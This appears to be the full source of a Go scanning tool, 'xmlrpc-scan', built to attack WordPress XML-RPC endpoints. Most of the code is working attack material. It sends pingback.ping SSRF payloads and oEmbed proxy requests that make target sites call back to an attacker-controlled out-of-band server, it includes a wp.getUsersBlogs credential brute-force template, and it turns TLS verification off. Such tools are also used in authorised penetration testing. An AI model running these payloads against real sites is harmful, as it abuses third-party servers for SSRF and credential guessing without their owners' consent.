├── README.md ├── core └── req.go ├── scripts └── builder.sh ├── utils ├── banner.go └── xmls.go └── xmlrpcscan.go /README.md: -------------------------------------------------------------------------------- 1 | # xmlrpc-scan 2 | 3 | Scan urls or a single URL against XMLRPC wordpress issues. 4 | 5 | usage: 6 | 7 | ##### Install 8 | 9 | - Download from releases: https://github.com/devpwn/xmlrpc-scan/releases 10 | - Or Compiling by yourself 11 | 12 | 13 | ##### Features 14 | 15 | - Verify if XMLRPC interface from Wordpress is open; 16 | - Testing all possible SSRF methods against xmlrpc wordpress; 17 | - Testing the SSRF oem proxy [https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/wordpress](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/wordpress) 18 | - Generate unique url from each ssrf attempt; 19 | 20 | 21 | ##### Usage 22 | 23 | * List of wordpress urls 24 | ```bash 25 | cat urls.txt | xmlrpcscan -server http://burpcollaborator.net 26 | ``` 27 | 28 | * Single URL 29 | ```bash 30 | xmlrpcscan -target https://target.com -server http://burpcollaborator.net 31 | ``` 32 | 33 | ![](tool.gif) 34 | 35 | -------------------------------------------------------------------------------- /core/req.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "crypto/tls" 7 | "fmt" 8 | "io/ioutil" 9 | "log" 10 | "net" 11 | "net/http" 12 | "os" 13 | "regexp" 14 | "strings" 15 | "sync" 16 | "time" 17 | 18 | "github.com/fatih/color" 19 | "github.com/nullfd/xmlrpc-scan/utils" 20 | ) 21 | 22 | const ua = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0)" 23 | 24 | // Scan struct 25 | type Scan struct { 26 | target string 27 | server string 28 | } 29 | 30 | // New Create constructor 31 | func New(t string, s string) *Scan { 32 | return &Scan{target: t, server: s} 33 | } 34 | 35 | func newClient() *http.Client { 36 | tr := &http.Transport{ 37 | MaxIdleConns: 30, 38 | IdleConnTimeout: time.Second, 39 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 40 | DialContext: (&net.Dialer{ 41 | Timeout: time.Second * 10, 42 | KeepAlive: time.Second, 43 | }).DialContext, 44 | } 45 | 46 | re := func(req *http.Request, via []*http.Request) error { 47 | return http.ErrUseLastResponse 48 | } 49 | 50 | return &http.Client{ 51 | Transport: tr, 52 | CheckRedirect: re, 53 | Timeout: time.Second * 10, 54 | } 55 | } 56 | 57 | // FromStdin test results from stdin 58 | func (s *Scan) FromStdin() { 59 | var wg sync.WaitGroup 60 | sc := bufio.NewScanner(os.Stdin) 61 | 62 | for sc.Scan() { 63 | rawURL := sc.Text() 64 | wg.Add(1) 65 | 66 | go func() { 67 | defer wg.Done() 68 | 69 | if s.IsAlive(rawURL) { 70 | s.VerifyMethods(rawURL) 71 | } 72 | }() 73 | } 74 | wg.Wait() 75 | } 76 | 77 | // IsAlive veirfy if xmlrpc is open 78 | func (s *Scan) IsAlive(url string) bool { 79 | 80 | cli := newClient() 81 | 82 | urlRequest := url + "/xmlrpc.php" 83 | req, err := http.NewRequest("GET", urlRequest, nil) 84 | req.Header.Set("User-Agent", ua) 85 | 86 | if err != nil { 87 | return false 88 | } 89 | 90 | resp, err := cli.Do(req) 91 | if err != nil { 92 | return false 93 | } 94 | 95 | defer resp.Body.Close() 96 | 97 | body, err := ioutil.ReadAll(resp.Body) 98 | 99 | if err != nil { 100 | return false 101 | } 102 | 103 | responseBody := string(body) 104 | 105 | matchedString, err := regexp.MatchString(`XML-RPC server accepts POST requests only`, responseBody) 106 | 107 | if matchedString { 108 | return true 109 | } 110 | 111 | return false 112 | } 113 | 114 | // VerifyMethods verify methods xmlrpc 115 | func (s *Scan) VerifyMethods(url string) { 116 | 117 | cli := newClient() 118 | body := " system.listMethods " 119 | urlReq := url + "/xmlrpc.php" 120 | req, err := http.NewRequest("POST", urlReq, bytes.NewBuffer([]byte(body))) 121 | if err != nil { 122 | log.Println(err) 123 | } 124 | defer req.Body.Close() 125 | 126 | req.Header.Add("User-Agent", ua) 127 | req.Header.Add("Content-Type", "application/xml; charset=utf-8") 128 | 129 | res, err := cli.Do(req) 130 | if err != nil { 131 | log.Println(err) 132 | } 133 | 134 | bodyString, err := ioutil.ReadAll(res.Body) 135 | 136 | if err != nil { 137 | log.Println(err) 138 | } 139 | 140 | b := string(bodyString) 141 | 142 | matchedStringPing, err := regexp.MatchString(`(pingback.ping)`, b) 143 | if err != nil { 144 | log.Println(err) 145 | } 146 | 147 | if matchedStringPing { 148 | color.Magenta("[+] Pingback open at [%s]\n", url) 149 | 150 | } 151 | 152 | s.Ssrf(url) 153 | 154 | matchedStringBrute, err := regexp.MatchString(`(blogger.getUsersBlogs)`, b) 155 | 156 | if err != nil { 157 | log.Println(err) 158 | } 159 | 160 | if matchedStringBrute { 161 | color.Magenta("[+] blogger.getUsersBlogs open at [%s]\n", url) 162 | } 163 | 164 | } 165 | 166 | // generate a random number and return a string 167 | func randomString() string { 168 | return fmt.Sprintf("%d", time.Now().UnixNano()) 169 | } 170 | 171 | // Ssrf testing ssrf if avaliable 172 | func (s *Scan) Ssrf(target string) { 173 | url := target + "/xmlrpc.php" 174 | 175 | xml := utils.SSRF 176 | 177 | randomNumber := randomString() 178 | oobServer := randomNumber + "." + s.server 179 | 180 | replaceServer := strings.ReplaceAll(xml, "$SERVER$", oobServer) 181 | replaceTarget := strings.ReplaceAll(replaceServer, "$TARGET$", target) 182 | 183 | body := replaceTarget 184 | 185 | c := &http.Client{} 186 | req, err := http.NewRequest("POST", url, bytes.NewBuffer([]byte(body))) 187 | if err != nil { 188 | log.Println(err) 189 | } 190 | defer req.Body.Close() 191 | 192 | req.Header.Add("User-Agent", ua) 193 | req.Header.Add("Content-Type", "application/xml; charset=utf-8") 194 | 195 | resp, err := c.Do(req) 196 | if err != nil { 197 | fmt.Println(err) 198 | } 199 | 200 | if resp.StatusCode == 200 { 201 | color.Yellow("[*] SSRF testing..\n") 202 | } 203 | color.Cyan("[+] SSRF TEST DONE at [%s]: verify at [%s] if a HTTP connection was recevied", s.target, oobServer) 204 | 205 | } 206 | 207 | // ProxyTesting testing oem proxyng server 208 | func (s *Scan) ProxyTesting() { 209 | client := newClient() 210 | randomNumber := randomString() 211 | oobServer := randomNumber + "." + s.server 212 | url := s.target + "/wp-json/oembed/1.0/proxy?url=" + oobServer + "/nullfd" 213 | 214 | req, err := http.NewRequest("GET", url, nil) 215 | req.Header.Set("User-Agent", ua) 216 | if err != nil { 217 | log.Println(err) 218 | } 219 | 220 | resp, err := client.Do(req) 221 | if err != nil { 222 | log.Println(err) 223 | } 224 | 225 | if resp.StatusCode == 200 { 226 | color.Cyan("[+] wp-json/oembed/1.0/proxy open, verify is a HTTP was recevied at your server..") 227 | } 228 | 229 | } 230 | -------------------------------------------------------------------------------- /scripts/builder.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Name of your Go program 4 | PROGRAM_NAME="xmlrpcscan" 5 | 6 | # Build for Linux (AMD64) 7 | echo "Building for Linux (AMD64)..." 8 | env GOOS=linux GOARCH=amd64 go build -o "${PROGRAM_NAME}_linux_amd64" ../xmlrpcscan.go 9 | 10 | # Build for Linux (ARM64) 11 | echo "Building for Linux (ARM64)..." 12 | env GOOS=linux GOARCH=arm64 go build -o "${PROGRAM_NAME}_linux_arm64" ../xmlrpcscan.go 13 | 14 | # Build for macOS (AMD64) 15 | echo "Building for macOS (AMD64)..." 16 | env GOOS=darwin GOARCH=amd64 go build -o "${PROGRAM_NAME}_darwin_amd64" ../xmlrpcscan.go 17 | 18 | # Build for macOS (ARM64) 19 | echo "Building for macOS (ARM64)..." 20 | env GOOS=darwin GOARCH=arm64 go build -o "${PROGRAM_NAME}_darwin_arm64" ../xmlrpcscan.go 21 | 22 | # Build for Windows (AMD64) 23 | echo "Building for Windows (AMD64)..." 24 | env GOOS=windows GOARCH=amd64 go build -o "${PROGRAM_NAME}_windows_amd64.exe" ../xmlrpcscan.go 25 | 26 | # Build for Windows (ARM64) 27 | echo "Building for Windows (ARM64)..." 28 | env GOOS=windows GOARCH=arm64 go build -o "${PROGRAM_NAME}_windows_arm64.exe" ../xmlrpcscan.go 29 | 30 | echo "Build process completed successfully!" 31 | -------------------------------------------------------------------------------- /utils/banner.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | const author string = "[+]Author:devpwn\n" 4 | const version string = "[+]Version: 2.0\n\n" 5 | 6 | // UglyBanner banner 7 | func UglyBanner() string { 8 | 9 | var banner string = ` 10 | 11 | 12 | ██╗ ██╗███╗ ███╗██╗ ██████╗ ██████╗ ██████╗ ███████╗ ██████╗ █████╗ ███╗ ██╗ 13 | ╚██╗██╔╝████╗ ████║██║ ██╔══██╗██╔══██╗██╔════╝ ██╔════╝██╔════╝██╔══██╗████╗ ██║ 14 | ╚███╔╝ ██╔████╔██║██║ ██████╔╝██████╔╝██║█████╗███████╗██║ ███████║██╔██╗ ██║ 15 | ██╔██╗ ██║╚██╔╝██║██║ ██╔══██╗██╔═══╝ ██║╚════╝╚════██║██║ ██╔══██║██║╚██╗██║ 16 | ██╔╝ ██╗██║ ╚═╝ ██║███████╗██║ ██║██║ ╚██████╗ ███████║╚██████╗██║ ██║██║ ╚████║ 17 | ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝ 18 | 19 | 20 | ` 21 | returnBanner := banner + author + version 22 | return returnBanner 23 | } 24 | -------------------------------------------------------------------------------- /utils/xmls.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | var SSRF string = ` 4 | 5 | pingback.ping 6 | 7 | 8 | $SERVER$ 9 | 10 | 11 | $TARGET$?p=1 12 | 13 | 14 | ` 15 | 16 | var BRUTE string = ` 17 | 18 | wp.getUsersBlogs 19 | 20 | [$login$] 21 | [$password$] 22 | 23 | 24 | ` 25 | 26 | var METHODS string = ` 27 | 28 | system.listMethods 29 | 30 | 31 | ` 32 | -------------------------------------------------------------------------------- /xmlrpcscan.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "os" 7 | 8 | "github.com/nullfd/xmlrpc-scan/core" 9 | "github.com/nullfd/xmlrpc-scan/utils" 10 | ) 11 | 12 | func main() { 13 | banner := utils.UglyBanner() 14 | fmt.Println(banner) 15 | target := flag.String("target", "", "[-] (e.g: https://wordpress.site.com)") 16 | server := flag.String("server", "", "[-] (e.g: http://159.89.121.20 or http://mydomain.com") 17 | flag.Parse() 18 | 19 | serverUser := *server 20 | targetUser := *target 21 | 22 | if serverUser == "" { 23 | fmt.Println("[+] Server is required to test ssrf..") 24 | fmt.Println("./xmlrpcscan -server http://burpcollaborator.net") 25 | os.Exit(1) 26 | } 27 | 28 | targetStruct := core.New(targetUser, serverUser) 29 | 30 | //verify if data is from stdin 31 | file, _ := os.Stdin.Stat() 32 | if (file.Mode() & os.ModeCharDevice) == 0 { 33 | targetStruct.FromStdin() 34 | } else { 35 | if targetStruct.IsAlive(targetUser) { 36 | targetStruct.VerifyMethods(targetUser) 37 | } 38 | } 39 | 40 | } 41 | --------------------------------------------------------------------------------